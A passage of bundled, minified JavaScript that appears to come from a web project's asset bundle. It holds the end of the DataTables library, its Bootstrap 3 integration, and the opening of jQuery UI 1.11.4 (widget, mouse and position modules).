1*a};h.extend(u.type.order,{\"date-pre\":function(a){return Date.parse(a)||0},\"html-pre\":function(a){return J(a)?\"\":a.replace?a.replace(/<.*?>/g,\"\").toLowerCase():a+\"\"},\"string-pre\":function(a){return J(a)?\"\":\"string\"===typeof a?a.toLowerCase():!a.toString?\"\":a.toString()},\"string-asc\":function(a,b){return a<b?-1:a>b?1:0},\"string-desc\":function(a,b){return a<b?1:a>b?-1:0}});db(\"\");h.extend(!0,m.ext.renderer,{header:{_:function(a,b,c,e){h(a.nTable).on(\"order.dt.DT\",function(d,\nf,g,h){if(a===f){d=c.idx;b.removeClass(c.sSortingClass+\" \"+e.sSortAsc+\" \"+e.sSortDesc).addClass(h[d]==\"asc\"?e.sSortAsc:h[d]==\"desc\"?e.sSortDesc:c.sSortingClass)}})},jqueryui:function(a,b,c,e){h(\"<div/>\").addClass(e.sSortJUIWrapper).append(b.contents()).append(h(\"<span/>\").addClass(e.sSortIcon+\" \"+c.sSortingClassJUI)).appendTo(b);h(a.nTable).on(\"order.dt.DT\",function(d,f,g,h){if(a===f){d=c.idx;b.removeClass(e.sSortAsc+\" \"+e.sSortDesc).addClass(h[d]==\"asc\"?e.sSortAsc:h[d]==\"desc\"?e.sSortDesc:c.sSortingClass);\nb.find(\"span.\"+e.sSortIcon).removeClass(e.sSortJUIAsc+\" \"+e.sSortJUIDesc+\" \"+e.sSortJUI+\" \"+e.sSortJUIAscAllowed+\" \"+e.sSortJUIDescAllowed).addClass(h[d]==\"asc\"?e.sSortJUIAsc:h[d]==\"desc\"?e.sSortJUIDesc:c.sSortingClassJUI)}})}}});m.render={number:function(a,b,c,e){return{display:function(d){if(\"number\"!==typeof d&&\"string\"!==typeof d)return d;var f=0>d?\"-\":\"\",d=Math.abs(parseFloat(d)),g=parseInt(d,10),d=c?b+(d-g).toFixed(c).substring(2):\"\";return f+(e||\"\")+g.toString().replace(/\\B(?=(\\d{3})+(?!\\d))/g,\na)+d}}}};h.extend(m.ext.internal,{_fnExternApiFunc:Nb,_fnBuildAjax:ra,_fnAjaxUpdate:kb,_fnAjaxParameters:tb,_fnAjaxUpdateDraw:ub,_fnAjaxDataSrc:sa,_fnAddColumn:Fa,_fnColumnOptions:ka,_fnAdjustColumnSizing:X,_fnVisibleToColumnIndex:la,_fnColumnIndexToVisible:$,_fnVisbleColumns:aa,_fnGetColumns:Z,_fnColumnTypes:Ha,_fnApplyColumnDefs:ib,_fnHungarianMap:W,_fnCamelToHungarian:H,_fnLanguageCompat:P,_fnBrowserDetect:gb,_fnAddData:K,_fnAddTr:ma,_fnNodeToDataIndex:function(a,b){return b._DT_RowIndex!==k?b._DT_RowIndex:\nnull},_fnNodeToColumnIndex:function(a,b,c){return h.inArray(c,a.aoData[b].anCells)},_fnGetCellData:x,_fnSetCellData:Ia,_fnSplitObjNotation:Ka,_fnGetObjectDataFn:R,_fnSetObjectDataFn:S,_fnGetDataMaster:La,_fnClearTable:oa,_fnDeleteIndex:pa,_fnInvalidate:ca,_fnGetRowElements:na,_fnCreateTr:Ja,_fnBuildHead:jb,_fnDrawHead:ea,_fnDraw:M,_fnReDraw:N,_fnAddOptionsHtml:mb,_fnDetectHeader:da,_fnGetUniqueThs:qa,_fnFeatureHtmlFilter:ob,_fnFilterComplete:fa,_fnFilterCustom:xb,_fnFilterColumn:wb,_fnFilter:vb,_fnFilterCreateSearch:Qa,\n_fnEscapeRegex:va,_fnFilterData:yb,_fnFeatureHtmlInfo:rb,_fnUpdateInfo:Bb,_fnInfoMacros:Cb,_fnInitialise:ga,_fnInitComplete:ta,_fnLengthChange:Ra,_fnFeatureHtmlLength:nb,_fnFeatureHtmlPaginate:sb,_fnPageChange:Ta,_fnFeatureHtmlProcessing:pb,_fnProcessingDisplay:C,_fnFeatureHtmlTable:qb,_fnScrollDraw:Y,_fnApplyToChildren:G,_fnCalculateColumnWidths:Ga,_fnThrottle:ua,_fnConvertToWidth:Db,_fnScrollingWidthAdjust:Fb,_fnGetWidestNode:Eb,_fnGetMaxLenString:Gb,_fnStringToCss:s,_fnScrollBarWidth:Hb,_fnSortFlatten:U,\n_fnSort:lb,_fnSortAria:Jb,_fnSortListener:Ua,_fnSortAttachListener:Oa,_fnSortingClasses:xa,_fnSortData:Ib,_fnSaveState:ya,_fnLoadState:Kb,_fnSettingsFromNode:za,_fnLog:I,_fnMap:E,_fnBindAction:Va,_fnCallbackReg:z,_fnCallbackFire:w,_fnLengthOverflow:Sa,_fnRenderer:Pa,_fnDataSource:B,_fnRowAttributes:Ma,_fnCalculateEnd:function(){}});h.fn.dataTable=m;h.fn.dataTableSettings=m.settings;h.fn.dataTableExt=m.ext;h.fn.DataTable=function(a){return h(this).dataTable(a).api()};h.each(m,function(a,b){h.fn.DataTable[a]=\nb});return h.fn.dataTable};\"function\"===typeof define&&define.amd?define(\"datatables\",[\"jquery\"],P):\"object\"===typeof exports?module.exports=P(require(\"jquery\")):jQuery&&!jQuery.fn.dataTable&&P(jQuery)})(window,document);\n","/*!\n DataTables Bootstrap 3 integration\n ©2011-2014 SpryMedia Ltd - datatables.net/license\n*/\n(function(l,q){var e=function(b,c){b.extend(!0,c.defaults,{dom:\"<'row'<'col-sm-6'l><'col-sm-6'f>><'row'<'col-sm-12'tr>><'row'<'col-sm-5'i><'col-sm-7'p>>\",renderer:\"bootstrap\"});b.extend(c.ext.classes,{sWrapper:\"dataTables_wrapper form-inline dt-bootstrap\",sFilterInput:\"form-control input-sm\",sLengthSelect:\"form-control input-sm\"});c.ext.renderer.pageButton.bootstrap=function(g,e,r,s,i,m){var t=new c.Api(g),u=g.oClasses,j=g.oLanguage.oPaginate,d,f,n=0,p=function(c,e){var k,h,o,a,l=function(a){a.preventDefault();\nb(a.currentTarget).hasClass(\"disabled\")||t.page(a.data.action).draw(!1)};k=0;for(h=e.length;k<h;k++)if(a=e[k],b.isArray(a))p(c,a);else{f=d=\"\";switch(a){case \"ellipsis\":d=\"&hellip;\";f=\"disabled\";break;case \"first\":d=j.sFirst;f=a+(0<i?\"\":\" disabled\");break;case \"previous\":d=j.sPrevious;f=a+(0<i?\"\":\" disabled\");break;case \"next\":d=j.sNext;f=a+(i<m-1?\"\":\" disabled\");break;case \"last\":d=j.sLast;f=a+(i<m-1?\"\":\" disabled\");break;default:d=a+1,f=i===a?\"active\":\"\"}d&&(o=b(\"<li>\",{\"class\":u.sPageButton+\" \"+\nf,id:0===r&&\"string\"===typeof a?g.sTableId+\"_\"+a:null}).append(b(\"<a>\",{href:\"#\",\"aria-controls\":g.sTableId,\"data-dt-idx\":n,tabindex:g.iTabIndex}).html(d)).appendTo(c),g.oApi._fnBindAction(o,{action:a},l),n++)}},h;try{h=b(q.activeElement).data(\"dt-idx\")}catch(l){}p(b(e).empty().html('<ul class=\"pagination\"/>').children(\"ul\"),s);h&&b(e).find(\"[data-dt-idx=\"+h+\"]\").focus()};c.TableTools&&(b.extend(!0,c.TableTools.classes,{container:\"DTTT btn-group\",buttons:{normal:\"btn btn-default\",disabled:\"disabled\"},\ncollection:{container:\"DTTT_dropdown dropdown-menu\",buttons:{normal:\"\",disabled:\"disabled\"}},print:{info:\"DTTT_print_info\"},select:{row:\"active\"}}),b.extend(!0,c.TableTools.DEFAULTS.oTags,{collection:{container:\"ul\",button:\"li\",liner:\"a\"}}))};\"function\"===typeof define&&define.amd?define([\"jquery\",\"datatables\"],e):\"object\"===typeof exports?e(require(\"jquery\"),require(\"datatables\")):jQuery&&e(jQuery,jQuery.fn.dataTable)})(window,document);\n","/*! jQuery UI - v1.11.4 - 2015-11-22\r\n* http://jqueryui.com\r\n* Includes: core.js, widget.js, mouse.js, position.js, draggable.js, droppable.js, resizable.js, selectable.js, sortable.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, menu.js, progressbar.js, selectmenu.js, slider.js, spinner.js, tabs.js, tooltip.js, effect.js, effect-blind.js, effect-bounce.js, effect-clip.js, effect-drop.js, effect-explode.js, effect-fade.js, effect-fold.js, effect-highlight.js, effect-puff.js, effect-pulsate.js, effect-scale.js, effect-shake.js, effect-size.js, effect-slide.js, effect-transfer.js\r\n* Copyright jQuery Foundation and other contributors; Licensed MIT */\r\n\r\n(function(e){\"function\"==typeof define&&define.amd?define([\"jquery\"],e):e(jQuery)})(function(e){function t(t,s){var n,o,a,r=t.nodeName.toLowerCase();return\"area\"===r?(n=t.parentNode,o=n.name,t.href&&o&&\"map\"===n.nodeName.toLowerCase()?(a=e(\"img[usemap='#\"+o+\"']\")[0],!!a&&i(a)):!1):(/^(input|select|textarea|button|object)$/.test(r)?!t.disabled:\"a\"===r?t.href||s:s)&&i(t)}function i(t){return e.expr.filters.visible(t)&&!e(t).parents().addBack().filter(function(){return\"hidden\"===e.css(this,\"visibility\")}).length}function s(e){for(var t,i;e.length&&e[0]!==document;){if(t=e.css(\"position\"),(\"absolute\"===t||\"relative\"===t||\"fixed\"===t)&&(i=parseInt(e.css(\"zIndex\"),10),!isNaN(i)&&0!==i))return i;e=e.parent()}return 0}function n(){this._curInst=null,this._keyEvent=!1,this._disabledInputs=[],this._datepickerShowing=!1,this._inDialog=!1,this._mainDivId=\"ui-datepicker-div\",this._inlineClass=\"ui-datepicker-inline\",this._appendClass=\"ui-datepicker-append\",this._triggerClass=\"ui-datepicker-trigger\",this._dialogClass=\"ui-datepicker-dialog\",this._disableClass=\"ui-datepicker-disabled\",this._unselectableClass=\"ui-datepicker-unselectable\",this._currentClass=\"ui-datepicker-current-day\",this._dayOverClass=\"ui-datepicker-days-cell-over\",this.regional=[],this.regional[\"\"]={closeText:\"Done\",prevText:\"Prev\",nextText:\"Next\",currentText:\"Today\",monthNames:[\"January\",\"February\",\"March\",\"April\",\"May\",\"June\",\"July\",\"August\",\"September\",\"October\",\"November\",\"December\"],monthNamesShort:[\"Jan\",\"Feb\",\"Mar\",\"Apr\",\"May\",\"Jun\",\"Jul\",\"Aug\",\"Sep\",\"Oct\",\"Nov\",\"Dec\"],dayNames:[\"Sunday\",\"Monday\",\"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\",\"Saturday\"],dayNamesShort:[\"Sun\",\"Mon\",\"Tue\",\"Wed\",\"Thu\",\"Fri\",\"Sat\"],dayNamesMin:[\"Su\",\"Mo\",\"Tu\",\"We\",\"Th\",\"Fr\",\"Sa\"],weekHeader:\"Wk\",dateFormat:\"mm/dd/yy\",firstDay:0,isRTL:!1,showMonthAfterYear:!1,yearSuffix:\"\"},this._defaults={showOn:\"focus\",showAnim:\"fadeIn\",showOptions:{},defaultDate:null,appendText:\"\",buttonText:\"...\",buttonImage:\"\",buttonImageOnly:!1,hideIfNoPrevNext:!1,navigationAsDateFormat:!1,gotoCurrent:!1,changeMonth:!1,changeYear:!1,yearRange:\"c-10:c+10\",showOtherMonths:!1,selectOtherMonths:!1,showWeek:!1,calculateWeek:this.iso8601Week,shortYearCutoff:\"+10\",minDate:null,maxDate:null,duration:\"fast\",beforeShowDay:null,beforeShow:null,onSelect:null,onChangeMonthYear:null,onClose:null,numberOfMonths:1,showCurrentAtPos:0,stepMonths:1,stepBigMonths:12,altField:\"\",altFormat:\"\",constrainInput:!0,showButtonPanel:!1,autoSize:!1,disabled:!1},e.extend(this._defaults,this.regional[\"\"]),this.regional.en=e.extend(!0,{},this.regional[\"\"]),this.regional[\"en-US\"]=e.extend(!0,{},this.regional.en),this.dpDiv=o(e(\"<div id='\"+this._mainDivId+\"' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>\"))}function o(t){var i=\"button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a\";return t.delegate(i,\"mouseout\",function(){e(this).removeClass(\"ui-state-hover\"),-1!==this.className.indexOf(\"ui-datepicker-prev\")&&e(this).removeClass(\"ui-datepicker-prev-hover\"),-1!==this.className.indexOf(\"ui-datepicker-next\")&&e(this).removeClass(\"ui-datepicker-next-hover\")}).delegate(i,\"mouseover\",a)}function a(){e.datepicker._isDisabledDatepicker(v.inline?v.dpDiv.parent()[0]:v.input[0])||(e(this).parents(\".ui-datepicker-calendar\").find(\"a\").removeClass(\"ui-state-hover\"),e(this).addClass(\"ui-state-hover\"),-1!==this.className.indexOf(\"ui-datepicker-prev\")&&e(this).addClass(\"ui-datepicker-prev-hover\"),-1!==this.className.indexOf(\"ui-datepicker-next\")&&e(this).addClass(\"ui-datepicker-next-hover\"))}function r(t,i){e.extend(t,i);for(var s in i)null==i[s]&&(t[s]=i[s]);return t}function h(e){return function(){var t=this.element.val();e.apply(this,arguments),this._refresh(),t!==this.element.val()&&this._trigger(\"change\")}}e.ui=e.ui||{},e.extend(e.ui,{version:\"1.11.4\",keyCode:{BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38}}),e.fn.extend({scrollParent:function(t){var i=this.css(\"position\"),s=\"absolute\"===i,n=t?/(auto|scroll|hidden)/:/(auto|scroll)/,o=this.parents().filter(function(){var t=e(this);return s&&\"static\"===t.css(\"position\")?!1:n.test(t.css(\"overflow\")+t.css(\"overflow-y\")+t.css(\"overflow-x\"))}).eq(0);return\"fixed\"!==i&&o.length?o:e(this[0].ownerDocument||document)},uniqueId:function(){var e=0;return function(){return this.each(function(){this.id||(this.id=\"ui-id-\"+ ++e)})}}(),removeUniqueId:function(){return this.each(function(){/^ui-id-\\d+$/.test(this.id)&&e(this).removeAttr(\"id\")})}}),e.extend(e.expr[\":\"],{data:e.expr.createPseudo?e.expr.createPseudo(function(t){return function(i){return!!e.data(i,t)}}):function(t,i,s){return!!e.data(t,s[3])},focusable:function(i){return t(i,!isNaN(e.attr(i,\"tabindex\")))},tabbable:function(i){var s=e.attr(i,\"tabindex\"),n=isNaN(s);return(n||s>=0)&&t(i,!n)}}),e(\"<a>\").outerWidth(1).jquery||e.each([\"Width\",\"Height\"],function(t,i){function s(t,i,s,o){return e.each(n,function(){i-=parseFloat(e.css(t,\"padding\"+this))||0,s&&(i-=parseFloat(e.css(t,\"border\"+this+\"Width\"))||0),o&&(i-=parseFloat(e.css(t,\"margin\"+this))||0)}),i}var n=\"Width\"===i?[\"Left\",\"Right\"]:[\"Top\",\"Bottom\"],o=i.toLowerCase(),a={innerWidth:e.fn.innerWidth,innerHeight:e.fn.innerHeight,outerWidth:e.fn.outerWidth,outerHeight:e.fn.outerHeight};e.fn[\"inner\"+i]=function(t){return void 0===t?a[\"inner\"+i].call(this):this.each(function(){e(this).css(o,s(this,t)+\"px\")})},e.fn[\"outer\"+i]=function(t,n){return\"number\"!=typeof t?a[\"outer\"+i].call(this,t):this.each(function(){e(this).css(o,s(this,t,!0,n)+\"px\")})}}),e.fn.addBack||(e.fn.addBack=function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}),e(\"<a>\").data(\"a-b\",\"a\").removeData(\"a-b\").data(\"a-b\")&&(e.fn.removeData=function(t){return function(i){return arguments.length?t.call(this,e.camelCase(i)):t.call(this)}}(e.fn.removeData)),e.ui.ie=!!/msie [\\w.]+/.exec(navigator.userAgent.toLowerCase()),e.fn.extend({focus:function(t){return function(i,s){return\"number\"==typeof i?this.each(function(){var t=this;setTimeout(function(){e(t).focus(),s&&s.call(t)},i)}):t.apply(this,arguments)}}(e.fn.focus),disableSelection:function(){var e=\"onselectstart\"in document.createElement(\"div\")?\"selectstart\":\"mousedown\";return function(){return this.bind(e+\".ui-disableSelection\",function(e){e.preventDefault()})}}(),enableSelection:function(){return this.unbind(\".ui-disableSelection\")},zIndex:function(t){if(void 0!==t)return this.css(\"zIndex\",t);if(this.length)for(var i,s,n=e(this[0]);n.length&&n[0]!==document;){if(i=n.css(\"position\"),(\"absolute\"===i||\"relative\"===i||\"fixed\"===i)&&(s=parseInt(n.css(\"zIndex\"),10),!isNaN(s)&&0!==s))return s;n=n.parent()}return 0}}),e.ui.plugin={add:function(t,i,s){var n,o=e.ui[t].prototype;for(n in s)o.plugins[n]=o.plugins[n]||[],o.plugins[n].push([i,s[n]])},call:function(e,t,i,s){var n,o=e.plugins[t];if(o&&(s||e.element[0].parentNode&&11!==e.element[0].parentNode.nodeType))for(n=0;o.length>n;n++)e.options[o[n][0]]&&o[n][1].apply(e.element,i)}};var l=0,u=Array.prototype.slice;e.cleanData=function(t){return function(i){var s,n,o;for(o=0;null!=(n=i[o]);o++)try{s=e._data(n,\"events\"),s&&s.remove&&e(n).triggerHandler(\"remove\")}catch(a){}t(i)}}(e.cleanData),e.widget=function(t,i,s){var n,o,a,r,h={},l=t.split(\".\")[0];return t=t.split(\".\")[1],n=l+\"-\"+t,s||(s=i,i=e.Widget),e.expr[\":\"][n.toLowerCase()]=function(t){return!!e.data(t,n)},e[l]=e[l]||{},o=e[l][t],a=e[l][t]=function(e,t){return this._createWidget?(arguments.length&&this._createWidget(e,t),void 0):new a(e,t)},e.extend(a,o,{version:s.version,_proto:e.extend({},s),_childConstructors:[]}),r=new i,r.options=e.widget.extend({},r.options),e.each(s,function(t,s){return e.isFunction(s)?(h[t]=function(){var e=function(){return i.prototype[t].apply(this,arguments)},n=function(e){return i.prototype[t].apply(this,e)};return function(){var t,i=this._super,o=this._superApply;return this._super=e,this._superApply=n,t=s.apply(this,arguments),this._super=i,this._superApply=o,t}}(),void 0):(h[t]=s,void 0)}),a.prototype=e.widget.extend(r,{widgetEventPrefix:o?r.widgetEventPrefix||t:t},h,{constructor:a,namespace:l,widgetName:t,widgetFullName:n}),o?(e.each(o._childConstructors,function(t,i){var s=i.prototype;e.widget(s.namespace+\".\"+s.widgetName,a,i._proto)}),delete o._childConstructors):i._childConstructors.push(a),e.widget.bridge(t,a),a},e.widget.extend=function(t){for(var i,s,n=u.call(arguments,1),o=0,a=n.length;a>o;o++)for(i in n[o])s=n[o][i],n[o].hasOwnProperty(i)&&void 0!==s&&(t[i]=e.isPlainObject(s)?e.isPlainObject(t[i])?e.widget.extend({},t[i],s):e.widget.extend({},s):s);return t},e.widget.bridge=function(t,i){var s=i.prototype.widgetFullName||t;e.fn[t]=function(n){var o=\"string\"==typeof n,a=u.call(arguments,1),r=this;return o?this.each(function(){var i,o=e.data(this,s);return\"instance\"===n?(r=o,!1):o?e.isFunction(o[n])&&\"_\"!==n.charAt(0)?(i=o[n].apply(o,a),i!==o&&void 0!==i?(r=i&&i.jquery?r.pushStack(i.get()):i,!1):void 0):e.error(\"no such method '\"+n+\"' for \"+t+\" widget instance\"):e.error(\"cannot call methods on \"+t+\" prior to initialization; \"+\"attempted to call method '\"+n+\"'\")}):(a.length&&(n=e.widget.extend.apply(null,[n].concat(a))),this.each(function(){var t=e.data(this,s);t?(t.option(n||{}),t._init&&t._init()):e.data(this,s,new i(n,this))})),r}},e.Widget=function(){},e.Widget._childConstructors=[],e.Widget.prototype={widgetName:\"widget\",widgetEventPrefix:\"\",defaultElement:\"<div>\",options:{disabled:!1,create:null},_createWidget:function(t,i){i=e(i||this.defaultElement||this)[0],this.element=e(i),this.uuid=l++,this.eventNamespace=\".\"+this.widgetName+this.uuid,this.bindings=e(),this.hoverable=e(),this.focusable=e(),i!==this&&(e.data(i,this.widgetFullName,this),this._on(!0,this.element,{remove:function(e){e.target===i&&this.destroy()}}),this.document=e(i.style?i.ownerDocument:i.document||i),this.window=e(this.document[0].defaultView||this.document[0].parentWindow)),this.options=e.widget.extend({},this.options,this._getCreateOptions(),t),this._create(),this._trigger(\"create\",null,this._getCreateEventData()),this._init()},_getCreateOptions:e.noop,_getCreateEventData:e.noop,_create:e.noop,_init:e.noop,destroy:function(){this._destroy(),this.element.unbind(this.eventNamespace).removeData(this.widgetFullName).removeData(e.camelCase(this.widgetFullName)),this.widget().unbind(this.eventNamespace).removeAttr(\"aria-disabled\").removeClass(this.widgetFullName+\"-disabled \"+\"ui-state-disabled\"),this.bindings.unbind(this.eventNamespace),this.hoverable.removeClass(\"ui-state-hover\"),this.focusable.removeClass(\"ui-state-focus\")},_destroy:e.noop,widget:function(){return this.element},option:function(t,i){var s,n,o,a=t;if(0===arguments.length)return e.widget.extend({},this.options);if(\"string\"==typeof t)if(a={},s=t.split(\".\"),t=s.shift(),s.length){for(n=a[t]=e.widget.extend({},this.options[t]),o=0;s.length-1>o;o++)n[s[o]]=n[s[o]]||{},n=n[s[o]];if(t=s.pop(),1===arguments.length)return void 0===n[t]?null:n[t];n[t]=i}else{if(1===arguments.length)return void 0===this.options[t]?null:this.options[t];a[t]=i}return this._setOptions(a),this},_setOptions:function(e){var t;for(t in e)this._setOption(t,e[t]);return this},_setOption:function(e,t){return this.options[e]=t,\"disabled\"===e&&(this.widget().toggleClass(this.widgetFullName+\"-disabled\",!!t),t&&(this.hoverable.removeClass(\"ui-state-hover\"),this.focusable.removeClass(\"ui-state-focus\"))),this},enable:function(){return this._setOptions({disabled:!1})},disable:function(){return this._setOptions({disabled:!0})},_on:function(t,i,s){var n,o=this;\"boolean\"!=typeof t&&(s=i,i=t,t=!1),s?(i=n=e(i),this.bindings=this.bindings.add(i)):(s=i,i=this.element,n=this.widget()),e.each(s,function(s,a){function r(){return t||o.options.disabled!==!0&&!e(this).hasClass(\"ui-state-disabled\")?(\"string\"==typeof a?o[a]:a).apply(o,arguments):void 0}\"string\"!=typeof a&&(r.guid=a.guid=a.guid||r.guid||e.guid++);var h=s.match(/^([\\w:-]*)\\s*(.*)$/),l=h[1]+o.eventNamespace,u=h[2];u?n.delegate(u,l,r):i.bind(l,r)})},_off:function(t,i){i=(i||\"\").split(\" \").join(this.eventNamespace+\" \")+this.eventNamespace,t.unbind(i).undelegate(i),this.bindings=e(this.bindings.not(t).get()),this.focusable=e(this.focusable.not(t).get()),this.hoverable=e(this.hoverable.not(t).get())},_delay:function(e,t){function i(){return(\"string\"==typeof e?s[e]:e).apply(s,arguments)}var s=this;return setTimeout(i,t||0)},_hoverable:function(t){this.hoverable=this.hoverable.add(t),this._on(t,{mouseenter:function(t){e(t.currentTarget).addClass(\"ui-state-hover\")},mouseleave:function(t){e(t.currentTarget).removeClass(\"ui-state-hover\")}})},_focusable:function(t){this.focusable=this.focusable.add(t),this._on(t,{focusin:function(t){e(t.currentTarget).addClass(\"ui-state-focus\")},focusout:function(t){e(t.currentTarget).removeClass(\"ui-state-focus\")}})},_trigger:function(t,i,s){var n,o,a=this.options[t];if(s=s||{},i=e.Event(i),i.type=(t===this.widgetEventPrefix?t:this.widgetEventPrefix+t).toLowerCase(),i.target=this.element[0],o=i.originalEvent)for(n in o)n in i||(i[n]=o[n]);return this.element.trigger(i,s),!(e.isFunction(a)&&a.apply(this.element[0],[i].concat(s))===!1||i.isDefaultPrevented())}},e.each({show:\"fadeIn\",hide:\"fadeOut\"},function(t,i){e.Widget.prototype[\"_\"+t]=function(s,n,o){\"string\"==typeof n&&(n={effect:n});var a,r=n?n===!0||\"number\"==typeof n?i:n.effect||i:t;n=n||{},\"number\"==typeof n&&(n={duration:n}),a=!e.isEmptyObject(n),n.complete=o,n.delay&&s.delay(n.delay),a&&e.effects&&e.effects.effect[r]?s[t](n):r!==t&&s[r]?s[r](n.duration,n.easing,o):s.queue(function(i){e(this)[t](),o&&o.call(s[0]),i()})}}),e.widget;var c=!1;e(document).mouseup(function(){c=!1}),e.widget(\"ui.mouse\",{version:\"1.11.4\",options:{cancel:\"input,textarea,button,select,option\",distance:1,delay:0},_mouseInit:function(){var t=this;this.element.bind(\"mousedown.\"+this.widgetName,function(e){return t._mouseDown(e)}).bind(\"click.\"+this.widgetName,function(i){return!0===e.data(i.target,t.widgetName+\".preventClickEvent\")?(e.removeData(i.target,t.widgetName+\".preventClickEvent\"),i.stopImmediatePropagation(),!1):void 0}),this.started=!1},_mouseDestroy:function(){this.element.unbind(\".\"+this.widgetName),this._mouseMoveDelegate&&this.document.unbind(\"mousemove.\"+this.widgetName,this._mouseMoveDelegate).unbind(\"mouseup.\"+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(t){if(!c){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(t),this._mouseDownEvent=t;var i=this,s=1===t.which,n=\"string\"==typeof this.options.cancel&&t.target.nodeName?e(t.target).closest(this.options.cancel).length:!1;return s&&!n&&this._mouseCapture(t)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){i.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=this._mouseStart(t)!==!1,!this._mouseStarted)?(t.preventDefault(),!0):(!0===e.data(t.target,this.widgetName+\".preventClickEvent\")&&e.removeData(t.target,this.widgetName+\".preventClickEvent\"),this._mouseMoveDelegate=function(e){return i._mouseMove(e)},this._mouseUpDelegate=function(e){return i._mouseUp(e)},this.document.bind(\"mousemove.\"+this.widgetName,this._mouseMoveDelegate).bind(\"mouseup.\"+this.widgetName,this._mouseUpDelegate),t.preventDefault(),c=!0,!0)):!0}},_mouseMove:function(t){if(this._mouseMoved){if(e.ui.ie&&(!document.documentMode||9>document.documentMode)&&!t.button)return this._mouseUp(t);if(!t.which)return this._mouseUp(t)}return(t.which||t.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(t),t.preventDefault()):(this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,t)!==!1,this._mouseStarted?this._mouseDrag(t):this._mouseUp(t)),!this._mouseStarted)},_mouseUp:function(t){return this.document.unbind(\"mousemove.\"+this.widgetName,this._mouseMoveDelegate).unbind(\"mouseup.\"+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,t.target===this._mouseDownEvent.target&&e.data(t.target,this.widgetName+\".preventClickEvent\",!0),this._mouseStop(t)),c=!1,!1},_mouseDistanceMet:function(e){return Math.max(Math.abs(this._mouseDownEvent.pageX-e.pageX),Math.abs(this._mouseDownEvent.pageY-e.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),function(){function t(e,t,i){return[parseFloat(e[0])*(p.test(e[0])?t/100:1),parseFloat(e[1])*(p.test(e[1])?i/100:1)]}function i(t,i){return parseInt(e.css(t,i),10)||0}function s(t){var i=t[0];return 9===i.nodeType?{width:t.width(),height:t.height(),offset:{top:0,left:0}}:e.isWindow(i)?{width:t.width(),height:t.height(),offset:{top:t.scrollTop(),left:t.scrollLeft()}}:i.preventDefault?{width:0,height:0,offset:{top:i.pageY,left:i.pageX}}:{width:t.outerWidth(),height:t.outerHeight(),offset:t.offset()}}e.ui=e.ui||{};var n,o,a=Math.max,r=Math.abs,h=Math.round,l=/left|center|right/,u=/top|center|bottom/,c=/[\\+\\-]\\d+(\\.[\\d]+)?%?/,d=/^\\w+/,p=/%$/,f=e.fn.position;e.position={scrollbarWidth:function(){if(void 0!==n)return n;var t,i,s=e(\"<div style='display:block;position:absolute;width:50px;height:50px;overflow:hidden;'><div style='height:100px;width:auto;'></div></div>\"),o=s.children()[0];return e(\"body\").append(s),t=o.offsetWidth,s.css(\"overflow\",\"scroll\"),i=o.offsetWidth,t===i&&(i=s[0].clientWidth),s.remove(),n=t-i},getScrollInfo:function(t){var i=t.isWindow||t.isDocument?\"\":t.element.css(\"overflow-x\"),s=t.isWindow||t.isDocument?\"\":t.element.css(\"overflow-y\"),n=\"scroll\"===i||\"auto\"===i&&t.width<t.element[0].scrollWidth,o=\"scroll\"===s||\"auto\"===s&&t.height<t.element[0].scrollHeight;return{width:o?e.position.scrollbarWidth():0,height:n?e.position.scrollbarWidth():0}},getWithinInfo:function(t){var i=e(t||window),s=e.isWindow(i[0]),n=!!i[0]&&9===i[0].nodeType;return{element:i,isWindow:s,isDocument:n,offset:i.offset()||{left:0,top:0},scrollLeft:i.scrollLeft(),scrollTop:i.scrollTop(),width:s||n?i.width():i.outerWidth(),height:s||n?i.height():i.outerHeight()}}},e.fn.position=function(n){if(!n||!n.of)return f.apply(this,arguments);n=e.extend({},n);var p,m,g,v,_,b,y=e(n.of),x=e.position.getWithinInfo(n.within),w=e.position.getScrollInfo(x),k=(n.collision||\"flip\").split(\" \"),T={};return b=s(y),y[0].preventDefault&&(n.at=\"left top\"),m=b.width,g=b.height,v=b.offset,_=e.extend({},v),e.each([\"my\",\"at\"],function(){var e,t,i=(n[this]||\"\").split(\" \");1===i.length&&(i=l.test(i[0])?i.concat([\"center\"]):u.test(i[0])?[\"center\"].concat(i):[\"center\",\"center\"]),i[0]=l.test(i[0])?i[0]:\"center\",i[1]=u.test(i[1])?i[1]:\"center\",e=c.exec(i[0]),t=c.exec(i[1]),T[this]=[e?e[0]:0,t?t[0]:0],n[this]=[d.exec(i[0])[0],d.exec(i[1])[0]]}),1===k.length&&(k[1]=k[0]),\"right\"===n.at[0]?_.left+=m:\"center\"===n.at[0]&&(_.left+=m/2),\"bottom\"===n.at[1]?_.top+=g:\"center\"===n.at[1]&&(_.top+=g/2),p=t(T.at,m,g),_.left+=p[0],_.top+=p[1],this.each(function(){var 